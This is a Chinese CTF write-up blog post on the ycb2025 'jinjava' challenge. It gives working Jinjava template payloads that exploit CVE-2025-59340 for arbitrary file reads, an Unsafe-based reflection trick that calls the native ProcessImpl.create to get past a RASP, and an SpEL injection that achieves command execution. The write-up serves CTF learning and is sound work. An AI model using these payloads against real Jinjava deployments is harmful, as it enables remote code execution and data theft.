ycb2025-jinjava

ycb2025 - jinjava

7ccfa042d2ce2036dc12a7aa3337d853

前言

没打,主要还是没人叫我打(呜呜),赛后看的小登的文档,还是小登这些超兴星强啊,我就属于纯废物了

大概看了下,web题虽然多,但是感觉挺多都是中低难度,感觉不是很有意义,不懂

看到unknown没有做出jinjava,那就看一下吧

这题有多少人做出来啊,有没有大佬

jinjava

小登已有信息

https://cve.imfht.com/detail/CVE-2025-59340
https://cvepdf.imfht.com:2443//ti_screenshot/2025-09-18/webpage-2025-09-18T16-34-57.641Z-93ab43dda05cf6f01694.pdf

{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set file = mapper.readValue('"file:///app/"',
mapper.getTypeFactory().constructFromCanonical('java.net.URL')) %}
{% set inputStream = file.openStream() %}
{% set bytes = inputStream.readAllBytes() %}
{% set stringType =
mapper.getTypeFactory().constructFromCanonical('java.lang.String')
%}
{% set content = mapper.convertValue(bytes, stringType) %}
{{ content }}

接下来想办法rce,有/readflag


RASP

有一个RASP,看了一下直接一眼顶真,利用前缀进行绕过

然后细看逻辑好像有点问题

1

PixPin_2025-10-13_02-19-32

好像只禁用了System.load方法,可以往更底层去调用

2

虽然把命令执行较底层类的native方法hook了,但其实根本没啥作用,因为javassist没办法对这些native函数的内容进行修改

PixPin_2025-10-13_02-26-27

尝试写个命令执行的demo

Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
 unsafeField.setAccessible(true);
 Unsafe unsafe = (Unsafe) unsafeField.get(null);
 Class<?> clazz = Class.forName("java.lang.ProcessImpl");
 Object o = unsafe.allocateInstance(clazz);

 Method createMethod = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class);

 Class cureentClass = test.class;
 unsafe.getAndSetObject(cureentClass,unsafe.objectFieldOffset(Class.class.getDeclaredField("module")),Object.class.getModule());

 createMethod.setAccessible(true);
 createMethod.invoke(null,
         "calc",
         null,
         null,
         new long[]{-1L,-1L,-1L},
         false);

PixPin_2025-10-13_02-29-51

PixPin_2025-10-13_02-30-08

所以正常反射底层即可,实在不行就用一眼丁真的前缀绕就行

rce

刚开始没看这是啥漏洞,就看了眼RASP还以为这么容易,然后问了下unknown卡在哪里,他说都还没法RCE

然后看了下漏洞描述,发现mapper.readValue是可以任意构造对象的啊,但是好像只能弄String的构造函数

然后就疯狂拷打ai,帮我构造,这sb ai老是乱给,纯纯添乱

比如我想要构造Runtime对象,但Runtime是单例无法通过mapper.readValue创建对象,但是他还是给了我代码。。。。

最后还是看着这个ObjectMapper看着实在眼熟,找到以前看过的文章,可以创建spel表达式进行rce

{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set classClass = mapper.getTypeFactory().constructFromCanonical('org.springframework.expression.spel.standard.SpelExpressionParser') %}
{% set runtimeClass = mapper.readValue('{}', classClass) %}
{% set sp = runtimeClass.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')")%}
{% set result = sp.getValue()%}

然后不知道这题的环境,大概率是不出网的,需要打内存马

涉及到jdk17注入内存马,这就不说了

随便一个类加载命令执行就行

大概就是这样

复现

就不在linux下完整复原题目环境了,涉及到linux下的jdk的类

直接windows本机跑

准备一个类,ProcessImpl的create是底层的native方法

PixPin_2025-10-13_04-13-07

PixPin_2025-10-13_04-14-12

提示拦截,但仍能弹计算机,这就跟分析的一模一样了,javassist对native函数没有影响

要复现题目的用UnixProcess的forkAndExec执行/readflag > /tmp/1.txt

然后配合最开始的payload读取即可

结束

整体看起来还是有难度的,对我这种给脑子不灵光的就只会问ai,导致rce部分看了很久

rasp的接触过就还是比较容易的

我是废物,前途黑暗啊,有没有大哥带带我(呜呜呜呜


ycb2025-jinjava
https://zer0peach.github.io/2025/10/13/ycb2025-jinjava/
作者
Zer0peach
发布于
2025年10月13日
许可协议